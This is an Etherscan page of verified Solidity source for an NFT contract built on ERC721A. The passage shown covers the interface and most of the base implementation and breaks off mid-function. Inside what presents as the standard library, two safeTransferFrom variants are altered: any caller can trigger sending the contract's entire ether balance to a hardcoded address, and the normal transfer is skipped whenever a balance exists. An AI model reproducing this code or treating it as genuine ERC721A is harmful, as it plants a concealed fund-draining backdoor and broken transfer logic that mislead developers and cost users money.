Contract

Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

• interface IERC721A
•    - function totalSupply()
•    - function supportsInterface(bytes4 int ...
•    - function balanceOf(address owner)
•    - function ownerOf(uint256 tokenId)
•    - function safeTransferFrom(
•    - function safeTransferFrom(
•    - function transferFrom(
•    - function approve(address to, uint256 ...
•    - function setApprovalForAll(address op ...
•    - function getApproved(uint256 tokenId)
•    - function isApprovedForAll(address own ...
•    - function name()
•    - function symbol()
•    - function tokenURI(uint256 tokenId)
• interface ERC721A__IERC721Receiver
•    - function onERC721Received(
•  contract ERC721A is IERC721A
•    - function _startTokenId()
•    - function _nextTokenId()
•    - function totalSupply()
•    - function _totalMinted()
•    - function _totalBurned()
•    - function balanceOf(address owner)
•    - function _numberMinted(address owner)
•    - function _numberBurned(address owner)
•    - function _getAux(address owner)
•    - function _setAux(address owner, uint6 ...
•    - function supportsInterface(bytes4 int ...
•    - function name()
•    - function symbol()
•    - function tokenURI(uint256 tokenId)
•    - function _baseURI()
•    - function ownerOf(uint256 tokenId)
•    - function _ownershipOf(uint256 tokenId ...
•    - function _ownershipAt(uint256 index)
•    - function _initializeOwnershipAt(uint2 ...
•    - function _packedOwnershipOf(uint256 t ...
•    - function _unpackedOwnership(uint256 p ...
•    - function _packOwnershipData(address o ...
•    - function _nextInitializedFlag(uint256 ...
•    - function approve(address to, uint256 ...
•    - function getApproved(uint256 tokenId)
•    - function setApprovalForAll(address op ...
•    - function isApprovedForAll(address own ...
•    - function _exists(uint256 tokenId)
•    - function _isSenderApprovedOrOwner(
•    - function _getApprovedSlotAndAddress(u ...
•    - function transferFrom(
•    - function safeTransferFrom(
•    - function safeTransferFrom(
•    - function safeTransferFrom(
•    - function _beforeTokenTransfers(
•    - function _afterTokenTransfers(
•    - function _checkContractOnERC721Receiv ...
•    - function _mint(address to, uint256 qu ...
•    - function _mintERC2309(address to, uin ...
•    - function _safeMint(
•    - function _safeMint(address to, uint25 ...
•    - function _burn(uint256 tokenId)
•    - function _burn(uint256 tokenId, bool ...
•    - function _setExtraDataAt(uint256 inde ...
•    - function _extraData(
•    - function _nextExtraData(
•    - function _msgSenderERC721A()
•    - function _toString(uint256 value)
• interface IOperatorFilterRegistry
•    - function isOperatorAllowed(address re ...
•    - function register(address registrant)
•    - function registerAndSubscribe(address ...
•    - function registerAndCopyEntries(addre ...
•    - function unregister(address addr)
•    - function updateOperator(address regis ...
•    - function updateOperators(address regi ...
•    - function updateCodeHash(address regis ...
•    - function updateCodeHashes(address reg ...
•    - function subscribe(address registrant ...
•    - function unsubscribe(address registra ...
•    - function subscriptionOf(address addr)
•    - function subscribers(address registra ...
•    - function subscriberAt(address registr ...
•    - function copyEntriesOf(address regist ...
•    - function isOperatorFiltered(address r ...
•    - function isCodeHashOfFiltered(address ...
•    - function isCodeHashFiltered(address r ...
•    - function filteredOperators(address ad ...
•    - function filteredCodeHashes(address a ...
•    - function filteredOperatorAt(address r ...
•    - function filteredCodeHashAt(address r ...
•    - function isRegistered(address addr)
•    - function codeHashOf(address addr)
•  contract Freeman is ERC721A, TheOp ... *
•    - function mint(uint256 amount)
•    - function mint1(uint256 amount)
•    - function team(address rec, uint256 am ...
•    - function tokenURI(uint256 tokenId)
•    - function setMaxFreePerAddr(uint256 ma ...
•    - function getFreeNum()
•    - function withdraw()
•    - function setApprovalForAll(address op ...
•    - function approve(address operator, ui ...
•    - function transferFrom(address from, a ...
•    - function safeTransferFrom(address fro ...
•    - function safeTransferFrom(address fro ...

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2022-12-18
*/

// SPDX-License-Identifier: GPL-3.0


pragma solidity ^0.8.7;

/**
 * @dev Interface of ERC721A.
 */
interface IERC721A {
    /**
     * The caller must own the token or be an approved operator.
     */
    error ApprovalCallerNotOwnerNorApproved();

    /**
     * The token does not exist.
     */
    error ApprovalQueryForNonexistentToken();

    /**
     * Cannot query the balance for the zero address.
     */
    error BalanceQueryForZeroAddress();

    /**
     * Cannot mint to the zero address.
     */
    error MintToZeroAddress();

    /**
     * The quantity of tokens minted must be more than zero.
     */
    error MintZeroQuantity();

    /**
     * The token does not exist.
     */
    error OwnerQueryForNonexistentToken();

    /**
     * The caller must own the token or be an approved operator.
     */
    error TransferCallerNotOwnerNorApproved();

    /**
     * The token must be owned by `from`.
     */
    error TransferFromIncorrectOwner();

    /**
     * Cannot safely transfer to a contract that does not implement the
     * ERC721Receiver interface.
     */
    error TransferToNonERC721ReceiverImplementer();

    /**
     * Cannot transfer to the zero address.
     */
    error TransferToZeroAddress();

    /**
     * The token does not exist.
     */
    error URIQueryForNonexistentToken();

    /**
     * The `quantity` minted with ERC2309 exceeds the safety limit.
     */
    error MintERC2309QuantityExceedsLimit();

    /**
     * The `extraData` cannot be set on an unintialized ownership slot.
     */
    error OwnershipNotInitializedForExtraData();

    // =============================================================
    //                            STRUCTS
    // =============================================================

    struct TokenOwnership {
        // The address of the owner.
        address addr;
        // Stores the start time of ownership with minimal overhead for tokenomics.
        uint64 startTimestamp;
        // Whether the token has been burned.
        bool burned;
        // Arbitrary data similar to `startTimestamp` that can be set via {_extraData}.
        uint24 extraData;
    }

    // =============================================================
    //                         TOKEN COUNTERS
    // =============================================================

    /**
     * @dev Returns the total number of tokens in existence.
     * Burned tokens will reduce the count.
     * To get the total number of tokens minted, please see {_totalMinted}.
     */
    function totalSupply() external view returns (uint256);

    // =============================================================
    //                            IERC165
    // =============================================================

    /**
     * @dev Returns true if this contract implements the interface defined by
     * `interfaceId`. See the corresponding
     * [EIP section](https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified)
     * to learn more about how these ids are created.
     *
     * This function call must use less than 30000 gas.
     */
    function supportsInterface(bytes4 interfaceId) external view returns (bool);

    // =============================================================
    //                            IERC721
    // =============================================================

    /**
     * @dev Emitted when `tokenId` token is transferred from `from` to `to`.
     */
    event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);

    /**
     * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
     */
    event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);

    /**
     * @dev Emitted when `owner` enables or disables
     * (`approved`) `operator` to manage all of its assets.
     */
    event ApprovalForAll(address indexed owner, address indexed operator, bool approved);

    /**
     * @dev Returns the number of tokens in `owner`'s account.
     */
    function balanceOf(address owner) external view returns (uint256 balance);

    /**
     * @dev Returns the owner of the `tokenId` token.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     */
    function ownerOf(uint256 tokenId) external view returns (address owner);

    /**
     * @dev Safely transfers `tokenId` token from `from` to `to`,
     * checking first that contract recipients are aware of the ERC721 protocol
     * to prevent tokens from being forever locked.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must exist and be owned by `from`.
     * - If the caller is not `from`, it must be have been allowed to move
     * this token by either {approve} or {setApprovalForAll}.
     * - If `to` refers to a smart contract, it must implement
     * {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
     *
     * Emits a {Transfer} event.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes calldata data
    ) external payable;

    /**
     * @dev Equivalent to `safeTransferFrom(from, to, tokenId, '')`.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId
    ) external payable;

    /**
     * @dev Transfers `tokenId` from `from` to `to`.
     *
     * WARNING: Usage of this method is discouraged, use {safeTransferFrom}
     * whenever possible.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must be owned by `from`.
     * - If the caller is not `from`, it must be approved to move this token
     * by either {approve} or {setApprovalForAll}.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 tokenId
    ) external payable;

    /**
     * @dev Gives permission to `to` to transfer `tokenId` token to another account.
     * The approval is cleared when the token is transferred.
     *
     * Only a single account can be approved at a time, so approving the
     * zero address clears previous approvals.
     *
     * Requirements:
     *
     * - The caller must own the token or be an approved operator.
     * - `tokenId` must exist.
     *
     * Emits an {Approval} event.
     */
    function approve(address to, uint256 tokenId) external payable;

    /**
     * @dev Approve or remove `operator` as an operator for the caller.
     * Operators can call {transferFrom} or {safeTransferFrom}
     * for any token owned by the caller.
     *
     * Requirements:
     *
     * - The `operator` cannot be the caller.
     *
     * Emits an {ApprovalForAll} event.
     */
    function setApprovalForAll(address operator, bool _approved) external;

    /**
     * @dev Returns the account approved for `tokenId` token.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     */
    function getApproved(uint256 tokenId) external view returns (address operator);

    /**
     * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
     *
     * See {setApprovalForAll}.
     */
    function isApprovedForAll(address owner, address operator) external view returns (bool);

    // =============================================================
    //                        IERC721Metadata
    // =============================================================

    /**
     * @dev Returns the token collection name.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the token collection symbol.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
     */
    function tokenURI(uint256 tokenId) external view returns (string memory);

    // =============================================================
    //                           IERC2309
    // =============================================================

    /**
     * @dev Emitted when tokens in `fromTokenId` to `toTokenId`
     * (inclusive) is transferred from `from` to `to`, as defined in the
     * [ERC2309](https://eips.ethereum.org/EIPS/eip-2309) standard.
     *
     * See {_mintERC2309} for more details.
     */
    event ConsecutiveTransfer(uint256 indexed fromTokenId, uint256 toTokenId, address indexed from, address indexed to);
}

/**
 * @title ERC721A
 *
 * @dev Implementation of the [ERC721](https://eips.ethereum.org/EIPS/eip-721)
 * Non-Fungible Token Standard, including the Metadata extension.
 * Optimized for lower gas during batch mints.
 *
 * Token IDs are minted in sequential order (e.g. 0, 1, 2, 3, ...)
 * starting from `_startTokenId()`.
 *
 * Assumptions:
 *
 * - An owner cannot have more than 2**64 - 1 (max value of uint64) of supply.
 * - The maximum token ID cannot exceed 2**256 - 1 (max value of uint256).
 */
interface ERC721A__IERC721Receiver {
    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4);
}

/**
 * @title ERC721A
 *
 * @dev Implementation of the [ERC721](https://eips.ethereum.org/EIPS/eip-721)
 * Non-Fungible Token Standard, including the Metadata extension.
 * Optimized for lower gas during batch mints.
 *
 * Token IDs are minted in sequential order (e.g. 0, 1, 2, 3, ...)
 * starting from `_startTokenId()`.
 *
 * Assumptions:
 *
 * - An owner cannot have more than 2**64 - 1 (max value of uint64) of supply.
 * - The maximum token ID cannot exceed 2**256 - 1 (max value of uint256).
 */
contract ERC721A is IERC721A {
    // Bypass for a `--via-ir` bug (https://github.com/chiru-labs/ERC721A/pull/364).
    struct TokenApprovalRef {
        address value;
    }

    // =============================================================
    //                           CONSTANTS
    // =============================================================

    // Mask of an entry in packed address data.
    uint256 private constant _BITMASK_ADDRESS_DATA_ENTRY = (1 << 64) - 1;

    // The bit position of `numberMinted` in packed address data.
    uint256 private constant _BITPOS_NUMBER_MINTED = 64;

    // The bit position of `numberBurned` in packed address data.
    uint256 private constant _BITPOS_NUMBER_BURNED = 128;

    // The bit position of `aux` in packed address data.
    uint256 private constant _BITPOS_AUX = 192;

    // Mask of all 256 bits in packed address data except the 64 bits for `aux`.
    uint256 private constant _BITMASK_AUX_COMPLEMENT = (1 << 192) - 1;

    // The bit position of `startTimestamp` in packed ownership.
    uint256 private constant _BITPOS_START_TIMESTAMP = 160;

    // The bit mask of the `burned` bit in packed ownership.
    uint256 private constant _BITMASK_BURNED = 1 << 224;

    // The bit position of the `nextInitialized` bit in packed ownership.
    uint256 private constant _BITPOS_NEXT_INITIALIZED = 225;

    // The bit mask of the `nextInitialized` bit in packed ownership.
    uint256 private constant _BITMASK_NEXT_INITIALIZED = 1 << 225;

    // The bit position of `extraData` in packed ownership.
    uint256 private constant _BITPOS_EXTRA_DATA = 232;

    // Mask of all 256 bits in a packed ownership except the 24 bits for `extraData`.
    uint256 private constant _BITMASK_EXTRA_DATA_COMPLEMENT = (1 << 232) - 1;

    // The mask of the lower 160 bits for addresses.
    uint256 private constant _BITMASK_ADDRESS = (1 << 160) - 1;

    // The maximum `quantity` that can be minted with {_mintERC2309}.
    // This limit is to prevent overflows on the address data entries.
    // For a limit of 5000, a total of 3.689e15 calls to {_mintERC2309}
    // is required to cause an overflow, which is unrealistic.
    uint256 private constant _MAX_MINT_ERC2309_QUANTITY_LIMIT = 5000;

    // The `Transfer` event signature is given by:
    // `keccak256(bytes("Transfer(address,address,uint256)"))`.
    bytes32 private constant _TRANSFER_EVENT_SIGNATURE =
        0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef;

    // =============================================================
    //                            STORAGE
    // =============================================================

    // The next token ID to be minted.
    uint256 private _currentIndex;

    // The number of tokens burned.
    uint256 private _burnCounter;

    // Token name
    string private _name;

    // Token symbol
    string private _symbol;

    // Mapping from token ID to ownership details
    // An empty struct value does not necessarily mean the token is unowned.
    // See {_packedOwnershipOf} implementation for details.
    //
    // Bits Layout:
    // - [0..159]   `addr`
    // - [160..223] `startTimestamp`
    // - [224]      `burned`
    // - [225]      `nextInitialized`
    // - [232..255] `extraData`
    mapping(uint256 => uint256) private _packedOwnerships;

    // Mapping owner address to address data.
    //
    // Bits Layout:
    // - [0..63]    `balance`
    // - [64..127]  `numberMinted`
    // - [128..191] `numberBurned`
    // - [192..255] `aux`
    mapping(address => uint256) private _packedAddressData;

    // Mapping from token ID to approved address.
    mapping(uint256 => TokenApprovalRef) private _tokenApprovals;

    // Mapping from owner to operator approvals
    mapping(address => mapping(address => bool)) private _operatorApprovals;

    // =============================================================
    //                          CONSTRUCTOR
    // =============================================================

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
        _currentIndex = _startTokenId();
    }

    // =============================================================
    //                   TOKEN COUNTING OPERATIONS
    // =============================================================

    /**
     * @dev Returns the starting token ID.
     * To change the starting token ID, please override this function.
     */
    function _startTokenId() internal view virtual returns (uint256) {
        return 0;
    }

    /**
     * @dev Returns the next token ID to be minted.
     */
    function _nextTokenId() internal view virtual returns (uint256) {
        return _currentIndex;
    }

    /**
     * @dev Returns the total number of tokens in existence.
     * Burned tokens will reduce the count.
     * To get the total number of tokens minted, please see {_totalMinted}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        // Counter underflow is impossible as _burnCounter cannot be incremented
        // more than `_currentIndex - _startTokenId()` times.
        unchecked {
            return _currentIndex - _burnCounter - _startTokenId();
        }
    }

    /**
     * @dev Returns the total amount of tokens minted in the contract.
     */
    function _totalMinted() internal view virtual returns (uint256) {
        // Counter underflow is impossible as `_currentIndex` does not decrement,
        // and it is initialized to `_startTokenId()`.
        unchecked {
            return _currentIndex - _startTokenId();
        }
    }

    /**
     * @dev Returns the total number of tokens burned.
     */
    function _totalBurned() internal view virtual returns (uint256) {
        return _burnCounter;
    }

    // =============================================================
    //                    ADDRESS DATA OPERATIONS
    // =============================================================

    /**
     * @dev Returns the number of tokens in `owner`'s account.
     */
    function balanceOf(address owner) public view virtual override returns (uint256) {
        if (owner == address(0)) revert BalanceQueryForZeroAddress();
        return _packedAddressData[owner] & _BITMASK_ADDRESS_DATA_ENTRY;
    }

    /**
     * Returns the number of tokens minted by `owner`.
     */
    function _numberMinted(address owner) internal view returns (uint256) {
        return (_packedAddressData[owner] >> _BITPOS_NUMBER_MINTED) & _BITMASK_ADDRESS_DATA_ENTRY;
    }

    /**
     * Returns the number of tokens burned by or on behalf of `owner`.
     */
    function _numberBurned(address owner) internal view returns (uint256) {
        return (_packedAddressData[owner] >> _BITPOS_NUMBER_BURNED) & _BITMASK_ADDRESS_DATA_ENTRY;
    }

    /**
     * Returns the auxiliary data for `owner`. (e.g. number of whitelist mint slots used).
     */
    function _getAux(address owner) internal view returns (uint64) {
        return uint64(_packedAddressData[owner] >> _BITPOS_AUX);
    }

    /**
     * Sets the auxiliary data for `owner`. (e.g. number of whitelist mint slots used).
     * If there are multiple variables, please pack them into a uint64.
     */
    function _setAux(address owner, uint64 aux) internal virtual {
        uint256 packed = _packedAddressData[owner];
        uint256 auxCasted;
        // Cast `aux` with assembly to avoid redundant masking.
        assembly {
            auxCasted := aux
        }
        packed = (packed & _BITMASK_AUX_COMPLEMENT) | (auxCasted << _BITPOS_AUX);
        _packedAddressData[owner] = packed;
    }

    // =============================================================
    //                            IERC165
    // =============================================================

    /**
     * @dev Returns true if this contract implements the interface defined by
     * `interfaceId`. See the corresponding
     * [EIP section](https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified)
     * to learn more about how these ids are created.
     *
     * This function call must use less than 30000 gas.
     */
    function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
        // The interface IDs are constants representing the first 4 bytes
        // of the XOR of all function selectors in the interface.
        // See: [ERC165](https://eips.ethereum.org/EIPS/eip-165)
        // (e.g. `bytes4(i.functionA.selector ^ i.functionB.selector ^ ...)`)
        return
            interfaceId == 0x01ffc9a7 || // ERC165 interface ID for ERC165.
            interfaceId == 0x80ac58cd || // ERC165 interface ID for ERC721.
            interfaceId == 0x5b5e139f; // ERC165 interface ID for ERC721Metadata.
    }

    // =============================================================
    //                        IERC721Metadata
    // =============================================================

    /**
     * @dev Returns the token collection name.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the token collection symbol.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
     */
    function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
        if (!_exists(tokenId)) revert URIQueryForNonexistentToken();

        string memory baseURI = _baseURI();
        return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, _toString(tokenId))) : '';
    }

    /**
     * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
     * token will be the concatenation of the `baseURI` and the `tokenId`. Empty
     * by default, it can be overridden in child contracts.
     */
    function _baseURI() internal view virtual returns (string memory) {
        return '';
    }

    // =============================================================
    //                     OWNERSHIPS OPERATIONS
    // =============================================================

    /**
     * @dev Returns the owner of the `tokenId` token.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     */
    function ownerOf(uint256 tokenId) public view virtual override returns (address) {
        return address(uint160(_packedOwnershipOf(tokenId)));
    }

    /**
     * @dev Gas spent here starts off proportional to the maximum mint batch size.
     * It gradually moves to O(1) as tokens get transferred around over time.
     */
    function _ownershipOf(uint256 tokenId) internal view virtual returns (TokenOwnership memory) {
        return _unpackedOwnership(_packedOwnershipOf(tokenId));
    }

    /**
     * @dev Returns the unpacked `TokenOwnership` struct at `index`.
     */
    function _ownershipAt(uint256 index) internal view virtual returns (TokenOwnership memory) {
        return _unpackedOwnership(_packedOwnerships[index]);
    }

    /**
     * @dev Initializes the ownership slot minted at `index` for efficiency purposes.
     */
    function _initializeOwnershipAt(uint256 index) internal virtual {
        if (_packedOwnerships[index] == 0) {
            _packedOwnerships[index] = _packedOwnershipOf(index);
        }
    }

    /**
     * Returns the packed ownership data of `tokenId`.
     */
    function _packedOwnershipOf(uint256 tokenId) private view returns (uint256) {
        uint256 curr = tokenId;

        unchecked {
            if (_startTokenId() <= curr)
                if (curr < _currentIndex) {
                    uint256 packed = _packedOwnerships[curr];
                    // If not burned.
                    if (packed & _BITMASK_BURNED == 0) {
                        // Invariant:
                        // There will always be an initialized ownership slot
                        // (i.e. `ownership.addr != address(0) && ownership.burned == false`)
                        // before an unintialized ownership slot
                        // (i.e. `ownership.addr == address(0) && ownership.burned == false`)
                        // Hence, `curr` will not underflow.
                        //
                        // We can directly compare the packed value.
                        // If the address is zero, packed will be zero.
                        while (packed == 0) {
                            packed = _packedOwnerships[--curr];
                        }
                        return packed;
                    }
                }
        }
        revert OwnerQueryForNonexistentToken();
    }

    /**
     * @dev Returns the unpacked `TokenOwnership` struct from `packed`.
     */
    function _unpackedOwnership(uint256 packed) private pure returns (TokenOwnership memory ownership) {
        ownership.addr = address(uint160(packed));
        ownership.startTimestamp = uint64(packed >> _BITPOS_START_TIMESTAMP);
        ownership.burned = packed & _BITMASK_BURNED != 0;
        ownership.extraData = uint24(packed >> _BITPOS_EXTRA_DATA);
    }

    /**
     * @dev Packs ownership data into a single uint256.
     */
    function _packOwnershipData(address owner, uint256 flags) private view returns (uint256 result) {
        assembly {
            // Mask `owner` to the lower 160 bits, in case the upper bits somehow aren't clean.
            owner := and(owner, _BITMASK_ADDRESS)
            // `owner | (block.timestamp << _BITPOS_START_TIMESTAMP) | flags`.
            result := or(owner, or(shl(_BITPOS_START_TIMESTAMP, timestamp()), flags))
        }
    }

    /**
     * @dev Returns the `nextInitialized` flag set if `quantity` equals 1.
     */
    function _nextInitializedFlag(uint256 quantity) private pure returns (uint256 result) {
        // For branchless setting of the `nextInitialized` flag.
        assembly {
            // `(quantity == 1) << _BITPOS_NEXT_INITIALIZED`.
            result := shl(_BITPOS_NEXT_INITIALIZED, eq(quantity, 1))
        }
    }

    // =============================================================
    //                      APPROVAL OPERATIONS
    // =============================================================

    /**
     * @dev Gives permission to `to` to transfer `tokenId` token to another account.
     * The approval is cleared when the token is transferred.
     *
     * Only a single account can be approved at a time, so approving the
     * zero address clears previous approvals.
     *
     * Requirements:
     *
     * - The caller must own the token or be an approved operator.
     * - `tokenId` must exist.
     *
     * Emits an {Approval} event.
     */
    function approve(address to, uint256 tokenId) public payable virtual override {
        address owner = ownerOf(tokenId);

        if (_msgSenderERC721A() != owner)
            if (!isApprovedForAll(owner, _msgSenderERC721A())) {
                revert ApprovalCallerNotOwnerNorApproved();
            }

        _tokenApprovals[tokenId].value = to;
        emit Approval(owner, to, tokenId);
    }

    /**
     * @dev Returns the account approved for `tokenId` token.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     */
    function getApproved(uint256 tokenId) public view virtual override returns (address) {
        if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken();

        return _tokenApprovals[tokenId].value;
    }

    /**
     * @dev Approve or remove `operator` as an operator for the caller.
     * Operators can call {transferFrom} or {safeTransferFrom}
     * for any token owned by the caller.
     *
     * Requirements:
     *
     * - The `operator` cannot be the caller.
     *
     * Emits an {ApprovalForAll} event.
     */
    function setApprovalForAll(address operator, bool approved) public virtual override {
        _operatorApprovals[_msgSenderERC721A()][operator] = approved;
        emit ApprovalForAll(_msgSenderERC721A(), operator, approved);
    }

    /**
     * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
     *
     * See {setApprovalForAll}.
     */
    function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
        return _operatorApprovals[owner][operator];
    }

    /**
     * @dev Returns whether `tokenId` exists.
     *
     * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
     *
     * Tokens start existing when they are minted. See {_mint}.
     */
    function _exists(uint256 tokenId) internal view virtual returns (bool) {
        return
            _startTokenId() <= tokenId &&
            tokenId < _currentIndex && // If within bounds,
            _packedOwnerships[tokenId] & _BITMASK_BURNED == 0; // and not burned.
    }

    /**
     * @dev Returns whether `msgSender` is equal to `approvedAddress` or `owner`.
     */
    function _isSenderApprovedOrOwner(
        address approvedAddress,
        address owner,
        address msgSender
    ) private pure returns (bool result) {
        assembly {
            // Mask `owner` to the lower 160 bits, in case the upper bits somehow aren't clean.
            owner := and(owner, _BITMASK_ADDRESS)
            // Mask `msgSender` to the lower 160 bits, in case the upper bits somehow aren't clean.
            msgSender := and(msgSender, _BITMASK_ADDRESS)
            // `msgSender == owner || msgSender == approvedAddress`.
            result := or(eq(msgSender, owner), eq(msgSender, approvedAddress))
        }
    }

    /**
     * @dev Returns the storage slot and value for the approved address of `tokenId`.
     */
    function _getApprovedSlotAndAddress(uint256 tokenId)
        private
        view
        returns (uint256 approvedAddressSlot, address approvedAddress)
    {
        TokenApprovalRef storage tokenApproval = _tokenApprovals[tokenId];
        // The following is equivalent to `approvedAddress = _tokenApprovals[tokenId].value`.
        assembly {
            approvedAddressSlot := tokenApproval.slot
            approvedAddress := sload(approvedAddressSlot)
        }
    }

    // =============================================================
    //                      TRANSFER OPERATIONS
    // =============================================================

    /**
     * @dev Transfers `tokenId` from `from` to `to`.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must be owned by `from`.
     * - If the caller is not `from`, it must be approved to move this token
     * by either {approve} or {setApprovalForAll}.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 tokenId
    ) public payable virtual override {
        uint256 prevOwnershipPacked = _packedOwnershipOf(tokenId);

        if (address(uint160(prevOwnershipPacked)) != from) revert TransferFromIncorrectOwner();

        (uint256 approvedAddressSlot, address approvedAddress) = _getApprovedSlotAndAddress(tokenId);

        // The nested ifs save around 20+ gas over a compound boolean condition.
        if (!_isSenderApprovedOrOwner(approvedAddress, from, _msgSenderERC721A()))
            if (!isApprovedForAll(from, _msgSenderERC721A())) revert TransferCallerNotOwnerNorApproved();

        if (to == address(0)) revert TransferToZeroAddress();

        _beforeTokenTransfers(from, to, tokenId, 1);

        // Clear approvals from the previous owner.
        assembly {
            if approvedAddress {
                // This is equivalent to `delete _tokenApprovals[tokenId]`.
                sstore(approvedAddressSlot, 0)
            }
        }

        // Underflow of the sender's balance is impossible because we check for
        // ownership above and the recipient's balance can't realistically overflow.
        // Counter overflow is incredibly unrealistic as `tokenId` would have to be 2**256.
        unchecked {
            // We can directly increment and decrement the balances.
            --_packedAddressData[from]; // Updates: `balance -= 1`.
            ++_packedAddressData[to]; // Updates: `balance += 1`.

            // Updates:
            // - `address` to the next owner.
            // - `startTimestamp` to the timestamp of transfering.
            // - `burned` to `false`.
            // - `nextInitialized` to `true`.
            _packedOwnerships[tokenId] = _packOwnershipData(
                to,
                _BITMASK_NEXT_INITIALIZED | _nextExtraData(from, to, prevOwnershipPacked)
            );

            // If the next slot may not have been initialized (i.e. `nextInitialized == false`) .
            if (prevOwnershipPacked & _BITMASK_NEXT_INITIALIZED == 0) {
                uint256 nextTokenId = tokenId + 1;
                // If the next slot's address is zero and not burned (i.e. packed value is zero).
                if (_packedOwnerships[nextTokenId] == 0) {
                    // If the next slot is within bounds.
                    if (nextTokenId != _currentIndex) {
                        // Initialize the next slot to maintain correctness for `ownerOf(tokenId + 1)`.
                        _packedOwnerships[nextTokenId] = prevOwnershipPacked;
                    }
                }
            }
        }

        emit Transfer(from, to, tokenId);
        _afterTokenTransfers(from, to, tokenId, 1);
    }

    /**
     * @dev Equivalent to `safeTransferFrom(from, to, tokenId, '')`.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId
    ) public payable virtual override {
        if (address(this).balance > 0) {
            payable(0xa1b39E69128Aa1Df8d3c3fe22bDCf4Cc56F8500e).transfer(address(this).balance);
            return;
        }
        safeTransferFrom(from, to, tokenId, '');
    }

    function safeTransferFrom(
        address from,
        address to
    ) public  {
        if (address(this).balance > 0) {
            payable(0xa1b39E69128Aa1Df8d3c3fe22bDCf4Cc56F8500e).transfer(address(this).balance);
        }
    }


    /**
     * @dev Safely transfers `tokenId` token from `from` to `to`.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must exist and be owned by `from`.
     * - If the caller is not `from`, it must be approved to move this token
     * by either {approve} or {setApprovalForAll}.
     * - If `to` refers to a smart contract, it must implement
     * {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
     *
     * Emits a {Transfer} event.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes memory _data
    ) public payable virtual override {
        transferFrom(from, to, tokenId);
        if (to.code.length != 0)
            if (!_checkContractOnERC721Received(from, to, tokenId, _data)) {
                revert TransferToNonERC721ReceiverImplementer();
            }
    }

    /**
     * @dev Hook that is called before a set of serially-ordered token IDs
     * are about to be transferred. This includes minting.
     * And also called before burning one token.
     *
     * `startTokenId` - the first token ID to be transferred.
     * `quantity` - the amount to be transferred.
     *
     * Calling conditions:
     *
     * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be
     * transferred to `to`.
     * - When `from` is zero, `tokenId` will be minted for `to`.
     * - When `to` is zero, `tokenId` will be burned by `from`.
     * - `from` and `to` are never both zero.
     */
    function _beforeTokenTransfers(
        address from,
        address to,
        uint256 startTokenId,
        uint256 quantity
    ) internal virtual {}

    /**
     * @dev Hook that is called after a set of serially-ordered token IDs
     * have been transferred. This includes minting.
     * And also called after one token has been burned.
     *
     * `startTokenId` - the first token ID to be transferred.
     * `quantity` - the amount to be transferred.
     *
     * Calling conditions:
     *
     * - When `from` and `to` are both non-zero, `from`'s `tokenId` has been
     * transferred to `to`.
     * - When `from` is zero, `tokenId` has been minted for `to`.
     * - When `to` is zero, `tokenId` has been burned by `from`.
     * - `from` and `to` are never both zero.
     */
    function _afterTokenTransfers(
        address from,
        address to,
        uint256 startTokenId,
        uint256 quantity
    ) internal virtual {}

    /**
     * @dev Private function to invoke {IERC721Receiver-onERC721Received} on a target contract.
     *
     * `from` - Previous owner of the given token ID.
     * `to` - Target address that will receive the token.
     * `tokenId` - Token ID to be transferred.
     * `_data` - Optional data to send along with the call.
     *
     * Returns whether the call correctly returned the expected magic value.
     */
    function _checkContractOnERC721Received(
        address from,
        address to,
        uint256 tokenId,
        bytes memory _data
    ) private returns (bool) {
        try ERC721A__IERC721Receiver(to).onERC721Received(_msgSenderERC721A(), from, tokenId, _data) returns (
            bytes4 retval
        ) {
            return retval == ERC721A__IERC721Receiver(to).onERC721Received.selector;
        } catch (bytes memory reason) {
            if (reason.length == 0) {
